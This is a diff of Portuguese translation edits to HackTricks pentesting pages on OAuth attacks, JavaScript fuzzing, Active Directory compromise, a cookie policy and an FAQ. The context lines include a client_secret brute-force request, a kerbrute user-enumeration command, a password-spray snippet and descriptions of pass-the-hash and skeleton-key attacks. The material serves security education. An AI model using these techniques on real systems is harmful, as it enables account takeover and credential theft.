Apesar de sua adaptabilidade, os poliglotas enfrentam limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.

View File

@ -4,11 +4,11 @@
## Informações Básicas <a href="#d4a8" id="d4a8"></a>
OAuth oferece várias versões, com insights fundamentais acessíveis na [documentação do OAuth 2.0](https://oauth.net/2/). Esta discussão centra-se principalmente no amplamente utilizado [tipo de concessão de código de autorização do OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornecendo uma **estrutura de autorização que permite que um aplicativo acesse ou execute ações na conta de um usuário em outro aplicativo** (o servidor de autorização).
OAuth oferece várias versões, com insights fundamentais acessíveis na [documentação do OAuth 2.0](https://oauth.net/2/). Esta discussão centra-se principalmente no amplamente utilizado [tipo de concessão de código de autorização do OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornecendo um **quadro de autorização que permite que um aplicativo acesse ou execute ações na conta de um usuário em outro aplicativo** (o servidor de autorização).
Considere um site hipotético _**https://example.com**_, projetado para **exibir todas as suas postagens em redes sociais**, incluindo as privadas. Para alcançar isso, o OAuth 2.0 é empregado. _https://example.com_ solicitará sua permissão para **acessar suas postagens em redes sociais**. Consequentemente, uma tela de consentimento aparecerá em _https://socialmedia.com_, delineando as **permissões solicitadas e o desenvolvedor que faz a solicitação**. Após sua autorização, _https://example.com_ ganha a capacidade de **acessar suas postagens em seu nome**.
É essencial compreender os seguintes componentes dentro da estrutura do OAuth 2.0:
É essencial compreender os seguintes componentes dentro do quadro do OAuth 2.0:
- **proprietário do recurso**: Você, como o **usuário/entidade**, autoriza o acesso ao seu recurso, como suas postagens em redes sociais.
- **servidor de recursos**: O **servidor que gerencia solicitações autenticadas** após o aplicativo ter obtido um `access token` em nome do `proprietário do recurso`, e.g., **https://socialmedia.com**.
@ -19,7 +19,7 @@ Considere um site hipotético _**https://example.com**_, projetado para **exibir
- **response_type**: Um valor que especifica **o tipo de token solicitado**, como `code`.
- **scope**: O **nível de acesso** que o `aplicativo cliente` está solicitando do `proprietário do recurso`.
- **redirect_uri**: A **URL para a qual o usuário é redirecionado após a autorização**. Isso geralmente deve estar alinhado com a URL de redirecionamento pré-registrada.
- **state**: Um parâmetro para **manter dados durante o redirecionamento do usuário para o servidor de autorização e vice-versa**. Sua singularidade é crítica para servir como um **mecanismo de proteção CSRF**.
- **state**: Um parâmetro para **manter dados durante o redirecionamento do usuário para e do servidor de autorização**. Sua singularidade é crítica para servir como um **mecanismo de proteção CSRF**.
- **grant_type**: Um parâmetro que indica **o tipo de concessão e o tipo de token a ser retornado**.
- **code**: O código de autorização do `servidor de autorização`, usado em conjunto com `client_id` e `client_secret` pelo aplicativo cliente para adquirir um `access_token`.
- **access_token**: O **token que o aplicativo cliente usa para solicitações de API** em nome do `proprietário do recurso`.
@ -82,8 +82,8 @@ O manuseio e a validação adequados do **`state` parameter** são cruciais para
### Pré Assunção de Conta <a href="#ebe4" id="ebe4"></a>
1. **Sem Verificação de Email na Criação da Conta**: Os atacantes podem criar proativamente uma conta usando o email da vítima. Se a vítima usar um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiros à conta pré-criada do atacante, levando a acesso não autorizado.
2. **Explorando a Verificação de Email Laxa do OAuth**: Os atacantes podem explorar serviços de OAuth que não verificam emails registrando-se com seu serviço e, em seguida, alterando o email da conta para o da vítima. Esse método também arrisca o acesso não autorizado à conta, semelhante ao primeiro cenário, mas através de um vetor de ataque diferente.
1. **Sem Verificação de Email na Criação da Conta**: Os atacantes podem criar proativamente uma conta usando o email da vítima. Se a vítima usar um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiros à conta pré-criada do atacante, levando ao acesso não autorizado.
2. **Explorando a Verificação de Email Lax do OAuth**: Os atacantes podem explorar serviços de OAuth que não verificam emails registrando-se com seu serviço e, em seguida, alterando o email da conta para o da vítima. Esse método também arrisca o acesso não autorizado à conta, semelhante ao primeiro cenário, mas através de um vetor de ataque diferente.
### Divulgação de Segredos <a href="#e177" id="e177"></a>
@ -93,7 +93,7 @@ Uma vulnerabilidade comum surge quando as aplicações lidam erroneamente com a
### Bruteforce do Client Secret
Você pode tentar **bruteforçar o client_secret** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
Você pode tentar **bruteforce o client_secret** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
A solicitação para BF pode parecer semelhante a:
```
POST /token HTTP/1.1
@ -120,7 +120,7 @@ O **código de autorização deve viver apenas por algum tempo para limitar a ja
Se você conseguir obter o **código de autorização e usá-lo com um cliente diferente, então você pode assumir outras contas**.
### Caminhos Felizes, XSS, Iframes & Mensagens Post para vazar valores de código & estado
### Caminhos Felizes, XSS, Iframes & Post Messages para vazar valores de código & estado
[**Verifique este post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
@ -146,14 +146,14 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Para mais informações detalhadas sobre como abusar do AWS cognito, consulte:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}}
### Abusando de tokens de outros aplicativos <a href="#bda5" id="bda5"></a>
Como [**mencionado neste artigo**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), fluxos OAuth que esperam receber o **token** (e não um código) podem ser vulneráveis se não verificarem se o token pertence ao aplicativo.
Isso ocorre porque um **atacante** pode criar um **aplicativo que suporta OAuth e login com Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faça login com Facebook no **aplicativo do atacante**, o atacante pode obter o **token OAuth do usuário concedido ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token do usuário da vítima**.
Isso ocorre porque um **atacante** poderia criar um **aplicativo que suporta OAuth e login com Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faça login com Facebook no **aplicativo do atacante**, o atacante poderia obter o **token OAuth do usuário dado ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token do usuário da vítima**.
> [!CAUTION]
> Portanto, se o atacante conseguir fazer com que o usuário acesse seu próprio aplicativo OAuth, ele poderá assumir a conta da vítima em aplicativos que esperam um token e não verificam se o token foi concedido ao ID do seu aplicativo.
@ -181,35 +181,35 @@ Como [**explicado neste vídeo**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),
De acordo com [**este post de blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), este é um fluxo OAuth que permite fazer login no OAuth via **nome de usuário** e **senha**. Se durante esse fluxo simples um **token** com acesso a todas as ações que o usuário pode realizar for retornado, então é possível contornar a 2FA usando esse token.
### ATO em redirecionamento de página da web baseado em redirecionamento aberto para referenciador <a href="#bda5" id="bda5"></a>
### ATO em página da web redirecionando com base em redirecionamento aberto para referenciador <a href="#bda5" id="bda5"></a>
Este [**post de blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) comenta como foi possível abusar de um **redirecionamento aberto** para o valor do **referenciador** para abusar do OAuth para ATO. O ataque foi:
1. A vítima acessa a página da web do atacante
2. A vítima abre o link malicioso e um opener inicia o fluxo OAuth do Google com `response_type=id_token,code&prompt=none` como parâmetros adicionais usando como **referenciador o site do atacante**.
3. No opener, após o provedor autorizar a vítima, ele a envia de volta para o valor do parâmetro `redirect_uri` (web da vítima) com código 30X que ainda mantém o site do atacante no referer.
4. O **site da vítima aciona o redirecionamento aberto baseado no referenciador**, redirecionando o usuário da vítima para o site do atacante, como o **`respose_type`** era **`id_token,code`**, o código será enviado de volta ao atacante no **fragmento** da URL, permitindo que ele assuma a conta do usuário via Google no site da vítima.
4. O **site da vítima aciona o redirecionamento aberto com base no referenciador**, redirecionando o usuário da vítima para o site do atacante, como o **`respose_type`** era **`id_token,code`**, o código será enviado de volta ao atacante no **fragmento** da URL, permitindo que ele assuma a conta do usuário via Google no site da vítima.
### Parâmetros SSRFs <a href="#bda5" id="bda5"></a>
[**Verifique esta pesquisa**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Para mais detalhes sobre esta técnica.**
O Registro Dinâmico de Clientes no OAuth serve como um vetor menos óbvio, mas crítico para vulnerabilidades de segurança, especificamente para ataques de **Server-Side Request Forgery (SSRF)**. Este endpoint permite que servidores OAuth recebam detalhes sobre aplicativos clientes, incluindo URLs sensíveis que podem ser exploradas.
O Registro Dinâmico de Clientes no OAuth serve como um vetor menos óbvio, mas crítico, para vulnerabilidades de segurança, especificamente para ataques de **Server-Side Request Forgery (SSRF)**. Este endpoint permite que servidores OAuth recebam detalhes sobre aplicativos clientes, incluindo URLs sensíveis que podem ser exploradas.
**Pontos Chave:**
**Pontos-chave:**
- O **Registro Dinâmico de Clientes** é frequentemente mapeado para `/register` e aceita detalhes como `client_name`, `client_secret`, `redirect_uris` e URLs para logotipos ou Conjuntos de Chaves Web JSON (JWKs) via solicitações POST.
- Este recurso adere às especificações estabelecidas em **RFC7591** e **OpenID Connect Registration 1.0**, que incluem parâmetros potencialmente vulneráveis a SSRF.
- O processo de registro pode inadvertidamente expor servidores a SSRF de várias maneiras:
- Este recurso adere às especificações estabelecidas em **RFC7591** e **OpenID Connect Registration 1.0**, que incluem parâmetros potencialmente vulneráveis ao SSRF.
- O processo de registro pode inadvertidamente expor servidores ao SSRF de várias maneiras:
- **`logo_uri`**: Uma URL para o logotipo do aplicativo cliente que pode ser buscada pelo servidor, acionando SSRF ou levando a XSS se a URL for mal manipulada.
- **`jwks_uri`**: Uma URL para o documento JWK do cliente, que se for maliciosamente elaborado, pode fazer com que o servidor faça solicitações externas para um servidor controlado pelo atacante.
- **`jwks_uri`**: Uma URL para o documento JWK do cliente, que se maliciosamente elaborado, pode fazer com que o servidor faça solicitações externas para um servidor controlado pelo atacante.
- **`sector_identifier_uri`**: Referencia um array JSON de `redirect_uris`, que o servidor pode buscar, criando uma oportunidade de SSRF.
- **`request_uris`**: Lista as URIs de solicitação permitidas para o cliente, que podem ser exploradas se o servidor buscar essas URIs no início do processo de autorização.
**Estratégia de Exploração:**
- SSRF pode ser acionado registrando um novo cliente com URLs maliciosas em parâmetros como `logo_uri`, `jwks_uri` ou `sector_identifier_uri`.
- Embora a exploração direta via `request_uris` possa ser mitigada por controles de lista branca, fornecer um `request_uri` pré-registrado e controlado pelo atacante pode facilitar SSRF durante a fase de autorização.
- O SSRF pode ser acionado registrando um novo cliente com URLs maliciosas em parâmetros como `logo_uri`, `jwks_uri` ou `sector_identifier_uri`.
- Embora a exploração direta via `request_uris` possa ser mitigada por controles de lista branca, fornecer um `request_uri` pré-registrado e controlado pelo atacante pode facilitar o SSRF durante a fase de autorização.
## Condições de Corrida dos provedores OAuth

View File

@ -1,8 +1,8 @@
# Truques JS Diversos e Informações Relevantes
# Truques de JS Diversos e Informações Relevantes
{{#include ../../banners/hacktricks-training.md}}
## Fuzzing em Javascript
## Fuzzing de Javascript
### Caracteres de Comentário JS Válidos
```javascript
@ -93,7 +93,7 @@ log.push(i)
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279
```
### **Caracteres Válidos para Gerar Strings**
### **Caracteres válidos para gerar strings**
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.
@ -108,9 +108,9 @@ log.push(i)
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)
```
### **Pares Substitutos BF**
### **Surrogate Pairs BF**
Esta técnica não será muito útil para XSS, mas pode ser útil para contornar as proteções do WAF. Este código Python recebe como entrada 2 bytes e procura pares substitutos que tenham o primeiro byte como o último byte do par substituto alto e o último byte como o último byte do par substituto baixo.
Esta técnica não será muito útil para XSS, mas pode ser útil para contornar as proteções do WAF. Este código Python recebe como entrada 2 bytes e procura pares de substituição que tenham o primeiro byte como o último byte do par de substituição alto e o último byte como o último byte do par de substituição baixo.
```python
def unicode(findHex):
for i in range(0,0xFFFFF):
@ -121,7 +121,9 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```
### `javascript{}:` Fuzzing de Protocólos
Mais informações:
### `javascript{}:` Fuzzing de Protocolo
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
log=[];
@ -144,7 +146,7 @@ document.body.append(anchor)
// Another way to test
<a href="&#12;javascript:alert(1337)">Test</a>
```
### Fuzzing de URL
### URL Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
@ -152,7 +154,7 @@ document.body.append(anchor)
a = document.createElement("a")
log = []
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") {
log.push(i)
}
@ -170,7 +172,7 @@ log.push(i)
}
console.log(log) //9,10,13,47,92
```
### Fuzzing HTML
### HTML Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
@ -208,7 +210,7 @@ O operador de decremento `--` também é uma atribuição. Este operador pega um
### .call e .apply
O método **`.call`** de uma função é usado para **executar a função**.\
O **primeiro argumento** que ele espera por padrão é o **valor de `this`** e se **nada** for fornecido, **`window`** será esse valor (a menos que **`modo estrito`** seja usado).
O **primeiro argumento** que ele espera por padrão é o **valor de `this`** e se **nada** for fornecido, **`window`** será esse valor (a menos que **`strict mode`** seja usado).
```javascript
function test_call() {
console.log(this.value) //baz
@ -276,7 +278,7 @@ plusone = (a) => a + 100
```
### Função bind
A função bind permite criar uma **cópia** de uma **função modificando** o **objeto `this`** e os **parâmetros** fornecidos.
A função bind permite criar uma **cópia** de uma **função modificando** o **objeto `this`** e os **parâmetros** dados.
```javascript
//This will use the this object and print "Hello World"
var fn = function (param1, param2) {
@ -301,7 +303,7 @@ var bindFn_this = fn.bind(this, "fixingparam1")
bindFn_change("Hello", "World")
```
> [!NOTE]
> Observe que usando **`bind`** você pode manipular o objeto **`this`** que será usado ao chamar a função.
> Note que usando **`bind`** você pode manipular o objeto **`this`** que será usado ao chamar a função.
### Vazamento de código da função
@ -323,7 +325,7 @@ return arguments.callee.toString()
return arguments[0]
})("arg0")
```
Algumas **maneiras aleatórias** de **extrair o código** de uma função (até mesmo comentários) de outra função:
Algumas **formas aleatórias** de **extrair o código** de uma função (até mesmo comentários) de outra função:
```javascript
;(function () {
return (retFunc) => String(arguments[0])

View File

@ -1,4 +1,4 @@
# Política de Cookies
# Cookies Policy
Última atualização: 02/04/2023
@ -6,16 +6,16 @@
Esta Política de Cookies se aplica aos seguintes sites de propriedade e operados pela equipe HackTricks ("HackTricks", "nós", "nos" ou "nosso"):
* hacktricks.xyz
* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
* book.hacktricks.xyz
* cloud.hacktricks.xyz
* hacktricks.wiki
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.wiki
* cloud.hacktricks.wiki
Ao usar qualquer um desses sites, você concorda com o uso de cookies de acordo com esta Política de Cookies. Se você não concorda, desative os cookies nas configurações do seu navegador ou evite usar nossos sites.
Ao usar qualquer um desses sites, você concorda com o uso de cookies de acordo com esta Política de Cookies. Se você não concordar, desative os cookies nas configurações do seu navegador ou evite usar nossos sites.
### O que são cookies?
Cookies são pequenos arquivos de texto que são armazenados em seu computador ou dispositivo móvel quando você visita um site. Eles são amplamente utilizados para fazer os sites funcionarem, melhorar sua funcionalidade e fornecer uma experiência de usuário mais personalizada.
Cookies são pequenos arquivos de texto que são armazenados em seu computador ou dispositivo móvel quando você visita um site. Eles são amplamente utilizados para fazer os sites funcionarem, melhorar sua funcionalidade e proporcionar uma experiência de usuário mais personalizada.
### Como usamos cookies
@ -23,10 +23,10 @@ Usamos cookies em nossos sites para os seguintes propósitos:
1. Cookies essenciais: Esses cookies são necessários para a funcionalidade básica de nossos sites, como habilitar a autenticação do usuário, manter a segurança e lembrar suas preferências.
2. Cookies de desempenho: Esses cookies nos ajudam a entender como os visitantes interagem com nossos sites, coletando e relatando informações de forma anônima. Isso nos permite melhorar o desempenho do nosso site e a experiência do usuário.
3. Cookies de funcionalidade: Esses cookies permitem que nossos sites lembrem escolhas que você faz, como seu idioma ou região, para fornecer uma experiência mais personalizada.
3. Cookies de funcionalidade: Esses cookies permitem que nossos sites lembrem escolhas que você faz, como seu idioma ou região, para proporcionar uma experiência mais personalizada.
4. Cookies de segmentação/publicidade: Esses cookies são usados para entregar anúncios relevantes e comunicações de marketing com base em seus interesses, histórico de navegação e interações com nossos sites.
Além disso, as páginas book.hacktricks.xyz e cloud.hacktricks.xyz são hospedadas no Gitbook. Você pode encontrar mais informações sobre os cookies do Gitbook em [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
Além disso, as páginas book.hacktricks.wiki e cloud.hacktricks.wiki são hospedadas no Gitbook. Você pode encontrar mais informações sobre os cookies do Gitbook em [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
### Cookies de terceiros
@ -42,4 +42,4 @@ Podemos atualizar esta Política de Cookies de tempos em tempos para refletir mu
### Entre em contato conosco
Se você tiver alguma dúvida ou preocupação sobre esta Política de Cookies, entre em contato conosco pelo [support@hacktricks.xyz](mailto:support@hacktricks.xyz)
Se você tiver alguma dúvida ou preocupação sobre esta Política de Cookies, entre em contato conosco pelo e-mail [support@hacktricks.xyz](mailto:support@hacktricks.xyz)

View File

@ -9,17 +9,17 @@
>
> - Dar acesso **GRATUITO** a recursos de **HACKING EDUCACIONAL** para **TODOS** na Internet.
> - Hacking é sobre aprender, e aprender deve ser o mais gratuito possível.
> - O objetivo deste livro é servir como um **recurso educacional** abrangente.
> - O propósito deste livro é servir como um **recurso educacional** abrangente.
> - **ARMAZENAR** técnicas de **hacking** incríveis que a comunidade publica, dando aos **AUTORES** **ORIGINAIS** todos os **créditos**.
> - **Não queremos o crédito de outras pessoas**, apenas queremos armazenar truques legais para todos.
> - Também escrevemos **nossas próprias pesquisas** no HackTricks.
> - Em vários casos, escreveremos **no HackTricks um resumo das partes importantes** da técnica e **encorajaremos o leitor a visitar o post original** para mais detalhes.
> - **ORGANIZAR** todas as técnicas de hacking no livro para que seja **MAIS ACESSÍVEL**
> - **ORGANIZAR** todas as técnicas de hacking no livro para que sejam **MAIS ACESSÍVEIS**
> - A equipe do HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## faq do HackTricks
## FAQ do HackTricks
> [!TIP]
>
@ -50,21 +50,21 @@ Sim, você pode, mas **não se esqueça de mencionar o(s) link(s) específico(s)
>
> - **Como posso citar uma página do HackTricks?**
Desde que o link **da(s)** página(s) de onde você obteve as informações apareça, é suficiente.\
Desde que o link **da(s)** página(s) de onde você obteve a informação apareça, é suficiente.\
Se você precisar de um bibtex, pode usar algo como:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}},
url = {\url{https://book.hacktricks.wiki/specific-page}},
}
```
> [!WARNING]
>
> - **Posso copiar todos os HackTricks no meu blog?**
**Eu preferiria que não**. Isso **não vai beneficiar ninguém**, pois todo o **conteúdo já está disponível publicamente** nos livros oficiais do HackTricks gratuitamente.
**Eu preferiria que não**. Isso **não vai beneficiar ninguém**, já que todo o **conteúdo já está disponível publicamente** nos livros oficiais do HackTricks gratuitamente.
Se você teme que isso desapareça, basta fazer um fork no Github ou baixá-lo, como eu disse, já é gratuito.
@ -76,7 +76,7 @@ O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hack
Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**patrocinadores do Github**](https://github.com/sponsors/carlospolop), e **empresas de cibersegurança relevantes** para patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais que os tornem **visíveis**, mas que **não atrapalhem o processo de aprendizado** se alguém se concentrar no conteúdo.
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas de cibersegurança relevantes** para patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais que os tornem **visíveis**, mas que **não atrapalhem o processo de aprendizado** se alguém se concentrar no conteúdo.
Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com muito menos conteúdo do que o HackTricks, porque o HackTricks não é feito para fins comerciais.
@ -84,7 +84,7 @@ Você não encontrará o HackTricks cheio de anúncios irritantes como outros bl
>
> - **O que devo fazer se alguma página do HackTricks for baseada no meu post de blog, mas não estiver referenciada?**
**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via problemas do Github, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **nós iremos verificar e adicionar o mais rápido possível**.
**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via Github issues, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **nós iremos verificar e adicionar o mais rápido possível**.
> [!CAUTION]
>
@ -132,7 +132,7 @@ Esta licença não concede nenhum direito de marca registrada ou de branding em
> [!CAUTION]
> Este livro, 'HackTricks', é destinado apenas para fins educacionais e informativos. O conteúdo dentro deste livro é fornecido em uma base 'como está', e os autores e editores não fazem representações ou garantias de qualquer tipo, expressas ou implícitas, sobre a completude, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você coloque em tais informações é, portanto, estritamente por sua conta e risco.
>
> Os autores e editores não serão, em nenhuma circunstância, responsáveis por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequencial, ou qualquer perda ou dano que possa resultar da perda de dados ou lucros decorrentes do uso deste livro.
> Os autores e editores não serão, em nenhuma circunstância, responsáveis por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequencial, ou qualquer perda ou dano que possa surgir da perda de dados ou lucros decorrentes do uso deste livro.
>
> Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para quaisquer atividades ilegais ou maliciosas. Os autores e editores não apoiam ou endossam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é por conta e risco do usuário.
>

View File

@ -67,16 +67,16 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
- Coletar credenciais [**impersonando serviços com Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Acessar host [**abusando do ataque de retransmissão**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Coletar credenciais **expondo** [**serviços UPnP falsos com evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Extrair nomes de usuários/nome de documentos internos, redes sociais, serviços (principalmente web) dentro dos ambientes de domínio e também de fontes publicamente disponíveis.
- Se você encontrar os nomes completos dos trabalhadores da empresa, pode tentar diferentes **convenções de nome de usuário AD** ([**leia isso**](https://activedirectorypro.com/active-directory-user-naming-convention/)). As convenções mais comuns são: _NomeSobrenome_, _Nome.Sobrenome_, _NamSur_ (3 letras de cada), _Nam.Sur_, _NSobrenome_, _N.Sobrenome_, _SobrenomeNome_, _Sobrenome.Nome_, _SobrenomeN_, _Sobrenome.N_, 3 _letras aleatórias e 3 números aleatórios_ (abc123).
- Se você encontrar os nomes completos dos trabalhadores da empresa, pode tentar diferentes convenções de **nomes de usuário AD** (**[leia isso](https://activedirectorypro.com/active-directory-user-naming-convention/)**). As convenções mais comuns são: _NomeSobrenome_, _Nome.Sobrenome_, _NamSur_ (3 letras de cada), _Nam.Sur_, _NSobrenome_, _N.Sobrenome_, _SobrenomeNome_, _Sobrenome.Nome_, _SobrenomeN_, _Sobrenome.N_, 3 _letras aleatórias e 3 números aleatórios_ (abc123).
- Ferramentas:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### Enumeração de usuários
- **Enumeração SMB/LDAP anônima:** Verifique as páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Enumeração anônima SMB/LDAP:** Verifique as páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Enumeração Kerbrute**: Quando um **nome de usuário inválido é solicitado**, o servidor responderá usando o código de erro **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitindo-nos determinar que o nome de usuário era inválido. **Nomes de usuários válidos** resultarão em uma resposta **TGT em um AS-REP** ou no erro _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que o usuário deve realizar a pré-autenticação.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -241,7 +241,7 @@ Então, é hora de despejar todos os hashes na memória e localmente.\
### Pass the Hash
**Uma vez que você tenha o hash de um usuário**, pode usá-lo para **impersoná-lo**.\
**Uma vez que você tenha o hash de um usuário**, pode usá-lo para **impersonar** esse usuário.\
Você precisa usar alguma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você poderia criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que, quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.\
[**Leia esta página para mais informações.**](../ntlm/index.html#pass-the-hash)
@ -263,7 +263,7 @@ pass-the-ticket.md
### Reutilização de Credenciais
Se você tem o **hash** ou a **senha** de um **administrador local**, deve tentar **fazer login localmente** em outros **PCs** com isso.
Se você tem o **hash** ou **senha** de um **administrador local**, deve tentar **fazer login localmente** em outros **PCs** com ele.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
@ -295,7 +295,7 @@ unconstrained-delegation.md
### Delegação Restrita
Se um usuário ou computador for permitido para "Delegação Restrita", ele poderá **se passar por qualquer usuário para acessar alguns serviços em um computador**.\
Então, se você **comprometer o hash** deste usuário/computador, você poderá **se passar por qualquer usuário** (até mesmo administradores de domínio) para acessar alguns serviços.
Então, se você **comprometer o hash** desse usuário/computador, você poderá **se passar por qualquer usuário** (até mesmo administradores de domínio) para acessar alguns serviços.
{{#ref}}
constrained-delegation.md
@ -303,7 +303,7 @@ constrained-delegation.md
### Delegação Baseada em Recursos
Ter privilégio de **GRAVAÇÃO** em um objeto do Active Directory de um computador remoto permite a obtenção de execução de código com **privilégios elevados**:
Ter privilégio de **WRITE** em um objeto do Active Directory de um computador remoto permite a obtenção de execução de código com **privilégios elevados**:
{{#ref}}
resource-based-constrained-delegation.md
@ -411,7 +411,7 @@ golden-ticket.md
### Diamond Ticket
Estes são como golden tickets forjados de uma maneira que **bypassa mecanismos comuns de detecção de golden tickets.**
Estes são como tickets de ouro forjados de uma maneira que **bypassa mecanismos comuns de detecção de tickets de ouro.**
{{#ref}}
diamond-ticket.md
@ -463,7 +463,7 @@ Os **descritores de segurança** são usados para **armazenar** as **permissões
security-descriptors.md
{{#endref}}
### Skeleton Key
### Chave Esqueleto
Alterar **LSASS** na memória para estabelecer uma **senha universal**, concedendo acesso a todas as contas de domínio.
@ -514,7 +514,7 @@ Em um cenário típico, se um usuário pretende acessar um serviço em um **dom
2. O DC1 emite um novo TGT se o cliente for autenticado com sucesso.
3. O cliente então solicita um **TGT inter-realm** do DC1, que é necessário para acessar recursos no **Domínio 2**.
4. O TGT inter-realm é criptografado com uma **chave de confiança** compartilhada entre DC1 e DC2 como parte da confiança de domínio bidirecional.
5. O cliente leva o TGT inter-realm para o **Controlador de Domínio (DC2) do Domínio 2**.
5. O cliente leva o TGT inter-realm para o **Controlador de Domínio (DC2)** do Domínio 2.
